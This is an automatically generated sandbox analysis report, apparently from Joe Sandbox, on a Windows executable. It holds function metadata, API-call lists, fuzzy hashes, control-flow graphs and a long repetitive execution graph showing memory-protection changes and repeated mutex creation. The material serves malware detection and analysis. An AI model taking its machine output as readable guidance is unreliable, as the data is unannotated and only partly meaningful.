                                                        • memcpy.MSVCRT ref: 00007FF7CE651CE0
                                                        • GetLastError.KERNEL32(?,?,?,?,00007FF7CE65A4D8,00007FF7CE65A4D8,?,?,00007FF7CE650000,?,00007FF7CE651991), ref: 00007FF7CE651D23
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: Virtual$ErrorLastProtectQuerymemcpy
                                                        • String ID: VirtualProtect failed with code 0x%x$ VirtualQuery failed for %d bytes at address %p$Address %p has no image-section
                                                        • API String ID: 2595394609-2123141913
                                                        • Opcode ID: 1bae67f4c89c93f3103c8d38c62448f756b0142a616c8e7ebc9e3e171efedb9a
                                                        • Instruction ID: 752944d986dc697ac6611f6a8237c10fd5c28f6eb129f29e72ae113ab1601b07
                                                        • Opcode Fuzzy Hash: 1bae67f4c89c93f3103c8d38c62448f756b0142a616c8e7ebc9e3e171efedb9a
                                                        • Instruction Fuzzy Hash: 7A41B262B2AE5391EA50AF01D8406B8B7A2FB45BA4F944532CD8D73391DE3CE541C720
                                                        Function 00007FF7CE652104 Relevance: 9.1, APIs: 6, Instructions: 51COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$DeleteEnterErrorLastLeaveValuefree
                                                        • String ID:
                                                        • API String ID: 3326252324-0
                                                        • Opcode ID: 655ee2efdfcbbb117383d8274ed149da6d1996c3ad69a5bb3e151505abf286ae
                                                        • Instruction ID: 14a689eb9f5306286907bd44269912e2b14bb379e9a35d1810d881bd1f503775
                                                        • Opcode Fuzzy Hash: 655ee2efdfcbbb117383d8274ed149da6d1996c3ad69a5bb3e151505abf286ae
                                                        • Instruction Fuzzy Hash: 30210025B6AD1381FA65BF11E944375A2B2BF14BB0FC41430C99E77AA4DF2CA9528360
                                                        Function 00007FF7CE651E10 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 640 7ff7ce651e10-7ff7ce651e2d 641 7ff7ce651e3e-7ff7ce651e48 640->641 642 7ff7ce651e2f-7ff7ce651e38 640->642 644 7ff7ce651e4a-7ff7ce651e53 641->644 645 7ff7ce651ea3-7ff7ce651ea8 641->645 642->641 643 7ff7ce651f60-7ff7ce651f69 642->643 646 7ff7ce651ecc-7ff7ce651ed1 644->646 647 7ff7ce651e55-7ff7ce651e60 644->647 645->643 648 7ff7ce651eae-7ff7ce651eb3 645->648 651 7ff7ce651f23-7ff7ce651f2d 646->651 652 7ff7ce651ed3-7ff7ce651ee2 signal 646->652 647->645 649 7ff7ce651efb-7ff7ce651f0a call 7ff7ce6588f0 648->649 650 7ff7ce651eb5-7ff7ce651eba 648->650 649->651 662 7ff7ce651f0c-7ff7ce651f10 649->662 650->643 654 7ff7ce651ec0 650->654 656 7ff7ce651f43-7ff7ce651f45 651->656 657 7ff7ce651f2f-7ff7ce651f3f 651->657 652->651 655 7ff7ce651ee4-7ff7ce651ee8 652->655 654->651 659 7ff7ce651f4e-7ff7ce651f53 655->659 660 7ff7ce651eea-7ff7ce651ef9 signal 655->660 656->643 661 7ff7ce651f5a 657->661 659->661 660->643 661->643 663 7ff7ce651f55 662->663 664 7ff7ce651f12-7ff7ce651f21 signal 662->664 663->661 664->643 664->651
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID:
                                                        • String ID: CCG
                                                        • API String ID: 0-1584390748
                                                        • Opcode ID: 89c3267b39798691b50afba904a509dc7d9550d58f228bc855c47db3ec4ccd15
                                                        • Instruction ID: afffdc6a852e5dc5d9450a3c790adcf769fd7727ac168a836ae86562d1467f77
                                                        • Opcode Fuzzy Hash: 89c3267b39798691b50afba904a509dc7d9550d58f228bc855c47db3ec4ccd15
                                                        • Instruction Fuzzy Hash: 2221AE23F2AD0A41FA757E18998037991C39F88774FA59531D9AD733D4CF2CAC818261
                                                        Function 00007FF7CE651880 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 138memoryCOMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        • VirtualProtect.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7CE651247), ref: 00007FF7CE6519F9
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: ProtectVirtual
                                                        • String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.
                                                        • API String ID: 544645111-395989641
                                                        • Opcode ID: 1427bf654806dcf77d3eff93f33b3334b9e2720a1da467fe145db069b9fa5c34
                                                        • Instruction ID: 5a8785c30a9628613f2f10209593186e1a90697a7fa8b7980c8e13e9dccadbe9
                                                        • Opcode Fuzzy Hash: 1427bf654806dcf77d3eff93f33b3334b9e2720a1da467fe145db069b9fa5c34
                                                        • Instruction Fuzzy Hash: B7515E32B2AD46D6EB10AF25D8407B4B7A2BB14BB4F845131D9AD37794CE3CE592C720
                                                        Function 00007FF7CE651800 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 30COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        • Executed
                                                        • Not Executed
                                                        control_flow_graph 698 7ff7ce651800-7ff7ce651810 699 7ff7ce651824 698->699 700 7ff7ce651812-7ff7ce651822 698->700 701 7ff7ce65182b-7ff7ce651867 call 7ff7ce652290 fprintf 699->701 700->701
                                                        APIs
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: fprintf
                                                        • String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
                                                        • API String ID: 383729395-3474627141
                                                        • Opcode ID: 80b55b679c43398cd10c2705b1bc3e714c861d881ba8fd20a1c45f70f8608342
                                                        • Instruction ID: a7f66f37f4869c918a6ba995692dc0710f7c649a356ecc1c990377d7d3ac4349
                                                        • Opcode Fuzzy Hash: 80b55b679c43398cd10c2705b1bc3e714c861d881ba8fd20a1c45f70f8608342
                                                        • Instruction Fuzzy Hash: 01F0C812F2AD5582E620BF24E9450B9E372EF493E0F809231DE8E73651DF1CE1818310
                                                        Function 00007FF7CE65219E Relevance: 5.0, APIs: 4, Instructions: 34COMMON
                                                        Download Yara Rule

                                                        Control-flow Graph

                                                        APIs
                                                        Memory Dump Source
                                                        • Source File: 00000017.00000002.1731737550.00007FF7CE651000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF7CE650000, based on PE: true
                                                        • Associated: 00000017.00000002.1731577427.00007FF7CE650000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731808239.00007FF7CE659000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1731831081.00007FF7CE65B000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                        • Associated: 00000017.00000002.1732044569.00007FF7CE8D4000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_23_2_7ff7ce650000_nxafyjrvtamb.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection$EnterErrorLastLeaveValue
                                                        • String ID:
                                                        • API String ID: 682475483-0
                                                        • Opcode ID: f543aa23bd1ef31c93bca285cb24675544a5f5830443b0e18ba8ebec66cf2718
                                                        • Instruction ID: 71e1ffe9c7dce5b4b8c0ae7465905a66cd94630dfd1f267950059ad25fb5b15c
                                                        • Opcode Fuzzy Hash: f543aa23bd1ef31c93bca285cb24675544a5f5830443b0e18ba8ebec66cf2718
                                                        • Instruction Fuzzy Hash: F7012125B6AD0382F625BF11ED44275A2B2BF04BB0FC41035CA5D33A94DF2CB9928320

                                                        Execution Graph

                                                        Execution Coverage:2.4%
                                                        Dynamic/Decrypted Code Coverage:0%
                                                        Signature Coverage:0%
                                                        Total number of Nodes:823
                                                        Total number of Limit Nodes:2
                                                        execution_graph 2820 140001ac3 2825 140001a70 2820->2825 2821 140001b36 2824 140001ba0 4 API calls 2821->2824 2822 14000199e 2823 140001a0f 2822->2823 2827 1400019e9 VirtualProtect 2822->2827 2826 140001b53 2824->2826 2825->2821 2825->2822 2825->2826 2827->2822 1995 140001ae4 1997 140001a70 1995->1997 1996 140001b36 2003 140001ba0 1996->2003 1997->1996 1998 14000199e 1997->1998 2001 140001b53 1997->2001 1999 140001a0f 1998->1999 2002 1400019e9 VirtualProtect 1998->2002 2002->1998 2006 140001bc2 2003->2006 2004 140001c04 memcpy 2004->2001 2006->2004 2007 140001c45 VirtualQuery 2006->2007 2008 140001cf4 2006->2008 2007->2008 2012 140001c72 2007->2012 2009 140001d23 GetLastError 2008->2009 2011 140001d37 2009->2011 2010 140001ca4 VirtualProtect 2010->2004 2010->2009 2012->2004 2012->2010 2028 140001404 2101 140001394 2028->2101 2030 140001413 2031 140001394 2 API calls 2030->2031 2032 140001422 2031->2032 2033 140001394 2 API calls 2032->2033 2034 140001431 2033->2034 2035 140001394 2 API calls 2034->2035 2036 140001440 2035->2036 2037 140001394 2 API calls 2036->2037 2038 14000144f 2037->2038 2039 140001394 2 API calls 2038->2039 2040 14000145e 2039->2040 2041 140001394 2 API calls 2040->2041 2042 14000146d 2041->2042 2043 140001394 2 API calls 2042->2043 2044 14000147c 2043->2044 2045 140001394 2 API calls 2044->2045 2046 14000148b 2045->2046 2047 140001394 2 API calls 2046->2047 2048 14000149a 2047->2048 2049 140001394 2 API calls 2048->2049 2050 1400014a9 2049->2050 2051 140001394 2 API calls 2050->2051 2052 1400014b8 2051->2052 2053 140001394 2 API calls 2052->2053 2054 1400014c7 2053->2054 2055 140001394 2 API calls 2054->2055 2056 1400014d6 2055->2056 2057 1400014e5 2056->2057 2058 140001394 2 API calls 2056->2058 2059 140001394 2 API calls 2057->2059 2058->2057 2060 1400014ef 2059->2060 2061 1400014f4 2060->2061 2062 140001394 2 API calls 2060->2062 2063 140001394 2 API calls 2061->2063 2062->2061 2064 1400014fe 2063->2064 2065 140001503 2064->2065 2066 140001394 2 API calls 2064->2066 2067 140001394 2 API calls 2065->2067 2066->2065 2068 14000150d 2067->2068 2069 140001394 2 API calls 2068->2069 2070 140001512 2069->2070 2071 140001394 2 API calls 2070->2071 2072 140001521 2071->2072 2073 140001394 2 API calls 2072->2073 2074 140001530 2073->2074 2075 140001394 2 API calls 2074->2075 2076 14000153f 2075->2076 2077 140001394 2 API calls 2076->2077 2078 14000154e 2077->2078 2079 140001394 2 API calls 2078->2079 2080 14000155d 2079->2080 2081 140001394 2 API calls 2080->2081 2082 14000156c 2081->2082 2083 140001394 2 API calls 2082->2083 2084 14000157b 2083->2084 2085 140001394 2 API calls 2084->2085 2086 14000158a 2085->2086 2087 140001394 2 API calls 2086->2087 2088 140001599 2087->2088 2089 140001394 2 API calls 2088->2089 2090 1400015a8 2089->2090 2091 140001394 2 API calls 2090->2091 2092 1400015b7 2091->2092 2093 140001394 2 API calls 2092->2093 2094 1400015c6 2093->2094 2095 140001394 2 API calls 2094->2095 2096 1400015d5 2095->2096 2097 140001394 2 API calls 2096->2097 2098 1400015e4 2097->2098 2099 140001394 2 API calls 2098->2099 2100 1400015f3 2099->2100 2102 140005ab0 malloc 2101->2102 2103 1400013b8 2102->2103 2104 1400013c6 NtCreateMutant 2103->2104 2104->2030 2105 140002104 2106 140002111 EnterCriticalSection 2105->2106 2107 140002218 2105->2107 2108 14000220b LeaveCriticalSection 2106->2108 2112 14000212e 2106->2112 2109 140002272 2107->2109 2110 140002241 DeleteCriticalSection 2107->2110 2108->2107 2110->2109 2111 14000214d TlsGetValue GetLastError 2111->2112 2112->2108 2112->2111 2013 14000216f 2014 140002185 2013->2014 2015 140002178 InitializeCriticalSection 2013->2015 2015->2014 2016 140001a70 2017 14000199e 2016->2017 2021 140001a7d 2016->2021 2018 140001a0f 2017->2018 2019 1400019e9 VirtualProtect 2017->2019 2019->2017 2020 140001b53 2021->2016 2021->2020 2022 140001b36 2021->2022 2023 140001ba0 4 API calls 2022->2023 2023->2020 2828 140002050 2829 14000205e EnterCriticalSection 2828->2829 2830 1400020cf 2828->2830 2831 1400020c2 LeaveCriticalSection 2829->2831 2832 140002079 2829->2832 2831->2830 2832->2831 2833 140001fd0 2834 140001fe4 2833->2834 2835 140002033 2833->2835 2834->2835 2836 140001ffd EnterCriticalSection LeaveCriticalSection 2834->2836 2836->2835 2121 140001ab3 2122 140001a70 2121->2122 2122->2121 2123 140001b36 2122->2123 2124 14000199e 2122->2124 2127 140001b53 2122->2127 2126 140001ba0 4 API calls 2123->2126 2125 140001a0f 2124->2125 2128 1400019e9 VirtualProtect 2124->2128 2126->2127 2128->2124 1985 140001394 1989 140005ab0 1985->1989 1987 1400013b8 1988 1400013c6 NtCreateMutant 1987->1988 1990 140005ace 1989->1990 1993 140005afb 1989->1993 1990->1987 1991 140005ba3 1992 140005bbf malloc 1991->1992 1994 140005be0 1992->1994 1993->1990 1993->1991 1994->1990 2113 14000219e 2114 140002272 2113->2114 2115 1400021ab EnterCriticalSection 2113->2115 2116 140002265 LeaveCriticalSection 2115->2116 2118 1400021c8 2115->2118 2116->2114 2117 1400021e9 TlsGetValue GetLastError 2117->2118 2118->2116 2118->2117 2024 140001000 2025 14000108b __set_app_type 2024->2025 2026 140001040 2024->2026 2027 1400010b6 2025->2027 2026->2025 2119 140002320 strlen 2120 140002337 2119->2120 2129 140001140 2132 140001160 2129->2132 2131 140001156 2133 1400011b9 2132->2133 2134 14000118b 2132->2134 2135 1400011d3 2133->2135 2136 1400011c7 _amsg_exit 2133->2136 2134->2133 2137 1400011a0 Sleep 2134->2137 2138 140001201 _initterm 2135->2138 2139 14000121a 2135->2139 2136->2135 2137->2133 2137->2134 2138->2139 2155 140001880 2139->2155 2142 14000126a 2143 14000126f malloc 2142->2143 2144 14000128b 2143->2144 2146 1400012d0 2143->2146 2145 1400012a0 strlen malloc memcpy 2144->2145 2145->2145 2145->2146 2166 140003150 2146->2166 2148 140001315 2149 140001344 2148->2149 2150 140001324 2148->2150 2153 140001160 50 API calls 2149->2153 2151 140001338 2150->2151 2152 14000132d _cexit 2150->2152 2151->2131 2152->2151 2154 140001366 2153->2154 2154->2131 2156 140001247 SetUnhandledExceptionFilter 2155->2156 2157 1400018a2 2155->2157 2156->2142 2157->2156 2158 14000194d 2157->2158 2162 140001a20 2157->2162 2159 14000199e 2158->2159 2160 140001ba0 4 API calls 2158->2160 2159->2156 2161 1400019e9 VirtualProtect 2159->2161 2160->2158 2161->2159 2162->2159 2163 140001b53 2162->2163 2164 140001b36 2162->2164 2165 140001ba0 4 API calls 2164->2165 2165->2163 2168 140003166 2166->2168 2167 1400032cb wcslen 2240 14000153f 2167->2240 2168->2167 2171 1400034ce 2171->2148 2177 1400033c6 2178 14000346e wcslen 2177->2178 2179 140003484 2178->2179 2180 1400034cc 2178->2180 2179->2180 2182 1400034b6 wcslen 2179->2182 2181 140003591 wcscpy wcscat 2180->2181 2184 1400035c3 2181->2184 2182->2179 2182->2180 2183 140003613 wcscpy wcscat 2186 140003649 2183->2186 2184->2183 2185 14000375e wcscpy wcscat 2187 140003797 2185->2187 2186->2185 2188 140003afe wcslen 2187->2188 2189 140003b0c 2188->2189 2190 140003b4b 2188->2190 2189->2190 2192 140003b36 wcslen 2189->2192 2191 140003c5a wcscpy wcscat 2190->2191 2194 140003c8f 2191->2194 2192->2189 2192->2190 2193 140003cdf wcscpy wcscat 2196 140003d18 2193->2196 2194->2193 2195 140003d55 wcscpy wcscat 2198 140003d9c 2195->2198 2196->2195 2197 140003dee wcscpy wcscat wcslen 2380 14000146d 2197->2380 2198->2197 2203 140003f05 2466 1400014a9 2203->2466 2204 140004048 2205 14000145e 2 API calls 2204->2205 2212 140003f9c 2205->2212 2208 140004037 2213 14000145e 2 API calls 2208->2213 2209 140005747 2211 1400040da wcscpy wcscat wcslen 2235 1400041b0 2211->2235 2212->2209 2212->2211 2213->2212 2215 140003f90 2217 14000145e 2 API calls 2215->2217 2217->2212 2218 1400042a5 wcslen 2219 14000153f 2 API calls 2218->2219 2219->2235 2220 14000536a memcpy 2220->2235 2221 14000449b wcslen 2627 14000157b 2221->2627 2222 14000470d wcslen 2224 14000153f 2 API calls 2222->2224 2224->2235 2225 14000145e NtCreateMutant malloc 2225->2235 2226 140005001 wcscpy wcscat wcslen 2227 140001422 2 API calls 2226->2227 2227->2235 2229 140004593 wcslen 2644 1400015a8 2229->2644 2232 140005143 2232->2148 2233 1400054cc memcpy 2233->2235 2234 1400026e0 9 API calls 2234->2235 2235->2218 2235->2220 2235->2221 2235->2222 2235->2225 2235->2226 2235->2229 2235->2232 2235->2233 2235->2234 2236 1400051ee wcslen 2235->2236 2238 140004e55 wcscpy wcscat wcslen 2235->2238 2582 1400014d6 2235->2582 2655 140001521 2235->2655 2753 140001431 2235->2753 2237 1400015a8 2 API calls 2236->2237 2237->2235 2684 140001422 2238->2684 2241 140001394 2 API calls 2240->2241 2242 14000154e 2241->2242 2243 140001394 2 API calls 2242->2243 2244 14000155d 2243->2244 2245 140001394 2 API calls 2244->2245 2246 14000156c 2245->2246 2247 140001394 2 API calls 2246->2247 2248 14000157b 2247->2248 2249 140001394 2 API calls 2248->2249 2250 14000158a 2249->2250 2251 140001394 2 API calls 2250->2251 2252 140001599 2251->2252 2253 140001394 2 API calls 2252->2253 2254 1400015a8 2253->2254 2255 140001394 2 API calls 2254->2255 2256 1400015b7 2255->2256 2257 140001394 2 API calls 2256->2257 2258 1400015c6 2257->2258 2259 140001394 2 API calls 2258->2259 2260 1400015d5 2259->2260 2261 140001394 2 API calls 2260->2261 2262 1400015e4 2261->2262 2263 140001394 2 API calls 2262->2263 2264 1400015f3 2263->2264 2264->2171 2265 140001503 2264->2265 2266 140001394 2 API calls 2265->2266 2267 14000150d 2266->2267 2268 140001394 2 API calls 2267->2268 2269 140001512 2268->2269 2270 140001394 2 API calls 2269->2270 2271 140001521 2270->2271 2272 140001394 2 API calls 2271->2272 2273 140001530 2272->2273 2274 140001394 2 API calls 2273->2274 2275 14000153f 2274->2275 2276 140001394 2 API calls 2275->2276 2277 14000154e 2276->2277 2278 140001394 2 API calls 2277->2278 2279 14000155d 2278->2279 2280 140001394 2 API calls 2279->2280 2281 14000156c 2280->2281 2282 140001394 2 API calls 2281->2282 2283 14000157b 2282->2283 2284 140001394 2 API calls 2283->2284 2285 14000158a 2284->2285 2286 140001394 2 API calls 2285->2286 2287 140001599 2286->2287 2288 140001394 2 API calls 2287->2288 2289 1400015a8 2288->2289 2290 140001394 2 API calls 2289->2290 2291 1400015b7 2290->2291 2292 140001394 2 API calls 2291->2292 2293 1400015c6 2292->2293 2294 140001394 2 API calls 2293->2294 2295 1400015d5 2294->2295 2296 140001394 2 API calls 2295->2296 2297 1400015e4 2296->2297 2298 140001394 2 API calls 2297->2298 2299 1400015f3 2298->2299 2299->2177 2300 14000156c 2299->2300 2301 140001394 2 API calls 2300->2301 2302 14000157b 2301->2302 2303 140001394 2 API calls 2302->2303 2304 14000158a 2303->2304 2305 140001394 2 API calls 2304->2305 2306 140001599 2305->2306 2307 140001394 2 API calls 2306->2307 2308 1400015a8 2307->2308 2309 140001394 2 API calls 2308->2309 2310 1400015b7 2309->2310 2311 140001394 2 API calls 2310->2311 2312 1400015c6 2311->2312 2313 140001394 2 API calls 2312->2313 2314 1400015d5 2313->2314 2315 140001394 2 API calls 2314->2315 2316 1400015e4 2315->2316 2317 140001394 2 API calls 2316->2317 2318 1400015f3 2317->2318 2318->2177 2319 14000145e 2318->2319 2320 140001394 2 API calls 2319->2320 2321 14000146d 2320->2321 2322 140001394 2 API calls 2321->2322 2323 14000147c 2322->2323 2324 140001394 2 API calls 2323->2324 2325 14000148b 2324->2325 2326 140001394 2 API calls 2325->2326 2327 14000149a 2326->2327 2328 140001394 2 API calls 2327->2328 2329 1400014a9 2328->2329 2330 140001394 2 API calls 2329->2330 2331 1400014b8 2330->2331 2332 140001394 2 API calls 2331->2332 2333 1400014c7 2332->2333 2334 140001394 2 API calls 2333->2334 2335 1400014d6 2334->2335 2336 1400014e5 2335->2336 2337 140001394 2 API calls 2335->2337 2338 140001394 2 API calls 2336->2338 2337->2336 2339 1400014ef 2338->2339 2340 1400014f4 2339->2340 2341 140001394 2 API calls 2339->2341 2342 140001394 2 API calls 2340->2342 2341->2340 2343 1400014fe 2342->2343 2344 140001503 2343->2344 2345 140001394 2 API calls 2343->2345 2346 140001394 2 API calls 2344->2346 2345->2344 2347 14000150d 2346->2347 2348 140001394 2 API calls 2347->2348 2349 140001512 2348->2349 2350 140001394 2 API calls 2349->2350 2351 140001521 2350->2351 2352 140001394 2 API calls 2351->2352 2353 140001530 2352->2353 2354 140001394 2 API calls 2353->2354 2355 14000153f 2354->2355 2356 140001394 2 API calls 2355->2356 2357 14000154e 2356->2357 2358 140001394 2 API calls 2357->2358 2359 14000155d 2358->2359 2360 140001394 2 API calls 2359->2360 2361 14000156c 2360->2361 2362 140001394 2 API calls 2361->2362 2363 14000157b 2362->2363 2364 140001394 2 API calls 2363->2364 2365 14000158a 2364->2365 2366 140001394 2 API calls 2365->2366 2367 140001599 2366->2367 2368 140001394 2 API calls 2367->2368 2369 1400015a8 2368->2369 2370 140001394 2 API calls 2369->2370 2371 1400015b7 2370->2371 2372 140001394 2 API calls 2371->2372 2373 1400015c6 2372->2373 2374 140001394 2 API calls 2373->2374 2375 1400015d5 2374->2375 2376 140001394 2 API calls 2375->2376 2377 1400015e4 2376->2377 2378 140001394 2 API calls 2377->2378 2379 1400015f3 2378->2379 2379->2177 2381 140001394 2 API calls 2380->2381 2382 14000147c 2381->2382 2383 140001394 2 API calls 2382->2383 2384 14000148b 2383->2384 2385 140001394 2 API calls 2384->2385 2386 14000149a 2385->2386 2387 140001394 2 API calls 2386->2387 2388 1400014a9 2387->2388 2389 140001394 2 API calls 2388->2389 2390 1400014b8 2389->2390 2391 140001394 2 API calls 2390->2391 2392 1400014c7 2391->2392 2393 140001394 2 API calls 2392->2393 2394 1400014d6 2393->2394 2395 1400014e5 2394->2395 2396 140001394 2 API calls 2394->2396 2397 140001394 2 API calls 2395->2397 2396->2395 2398 1400014ef 2397->2398 2399 1400014f4 2398->2399 2400 140001394 2 API calls 2398->2400 2401 140001394 2 API calls 2399->2401 2400->2399 2402 1400014fe 2401->2402 2403 140001503 2402->2403 2404 140001394 2 API calls 2402->2404 2405 140001394 2 API calls 2403->2405 2404->2403 2406 14000150d 2405->2406 2407 140001394 2 API calls 2406->2407 2408 140001512 2407->2408 2409 140001394 2 API calls 2408->2409 2410 140001521 2409->2410 2411 140001394 2 API calls 2410->2411 2412 140001530 2411->2412 2413 140001394 2 API calls 2412->2413 2414 14000153f 2413->2414 2415 140001394 2 API calls 2414->2415 2416 14000154e 2415->2416 2417 140001394 2 API calls 2416->2417 2418 14000155d 2417->2418 2419 140001394 2 API calls 2418->2419 2420 14000156c 2419->2420 2421 140001394 2 API calls 2420->2421 2422 14000157b 2421->2422 2423 140001394 2 API calls 2422->2423 2424 14000158a 2423->2424 2425 140001394 2 API calls 2424->2425 2426 140001599 2425->2426 2427 140001394 2 API calls 2426->2427 2428 1400015a8 2427->2428 2429 140001394 2 API calls 2428->2429 2430 1400015b7 2429->2430 2431 140001394 2 API calls 2430->2431 2432 1400015c6 2431->2432 2433 140001394 2 API calls 2432->2433 2434 1400015d5 2433->2434 2435 140001394 2 API calls 2434->2435 2436 1400015e4 2435->2436 2437 140001394 2 API calls 2436->2437 2438 1400015f3 2437->2438 2438->2212 2439 140001530 2438->2439 2440 140001394 2 API calls 2439->2440 2441 14000153f 2440->2441 2442 140001394 2 API calls 2441->2442 2443 14000154e 2442->2443 2444 140001394 2 API calls 2443->2444 2445 14000155d 2444->2445 2446 140001394 2 API calls 2445->2446 2447 14000156c 2446->2447 2448 140001394 2 API calls 2447->2448 2449 14000157b 2448->2449 2450 140001394 2 API calls 2449->2450 2451 14000158a 2450->2451 2452 140001394 2 API calls 2451->2452 2453 140001599 2452->2453 2454 140001394 2 API calls 2453->2454 2455 1400015a8 2454->2455 2456 140001394 2 API calls 2455->2456 2457 1400015b7 2456->2457 2458 140001394 2 API calls 2457->2458 2459 1400015c6 2458->2459 2460 140001394 2 API calls 2459->2460 2461 1400015d5 2460->2461 2462 140001394 2 API calls 2461->2462 2463 1400015e4 2462->2463 2464 140001394 2 API calls 2463->2464 2465 1400015f3 2464->2465 2465->2203 2465->2204 2467 140001394 2 API calls 2466->2467 2468 1400014b8 2467->2468 2469 140001394 2 API calls 2468->2469 2470 1400014c7 2469->2470 2471 140001394 2 API calls 2470->2471 2472 1400014d6 2471->2472 2473 1400014e5 2472->2473 2474 140001394 2 API calls 2472->2474 2475 140001394 2 API calls 2473->2475 2474->2473 2476 1400014ef 2475->2476 2477 1400014f4 2476->2477 2478 140001394 2 API calls 2476->2478 2479 140001394 2 API calls 2477->2479 2478->2477 2480 1400014fe 2479->2480 2481 140001503 2480->2481 2482 140001394 2 API calls 2480->2482 2483 140001394 2 API calls 2481->2483 2482->2481 2484 14000150d 2483->2484 2485 140001394 2 API calls 2484->2485 2486 140001512 2485->2486 2487 140001394 2 API calls 2486->2487 2488 140001521 2487->2488 2489 140001394 2 API calls 2488->2489 2490 140001530 2489->2490 2491 140001394 2 API calls 2490->2491 2492 14000153f 2491->2492 2493 140001394 2 API calls 2492->2493 2494 14000154e 2493->2494 2495 140001394 2 API calls 2494->2495 2496 14000155d 2495->2496 2497 140001394 2 API calls 2496->2497 2498 14000156c 2497->2498 2499 140001394 2 API calls 2498->2499 2500 14000157b 2499->2500 2501 140001394 2 API calls 2500->2501 2502 14000158a 2501->2502 2503 140001394 2 API calls 2502->2503 2504 140001599 2503->2504 2505 140001394 2 API calls 2504->2505 2506 1400015a8 2505->2506 2507 140001394 2 API calls 2506->2507 2508 1400015b7 2507->2508 2509 140001394 2 API calls 2508->2509 2510 1400015c6 2509->2510 2511 140001394 2 API calls 2510->2511 2512 1400015d5 2511->2512 2513 140001394 2 API calls 2512->2513 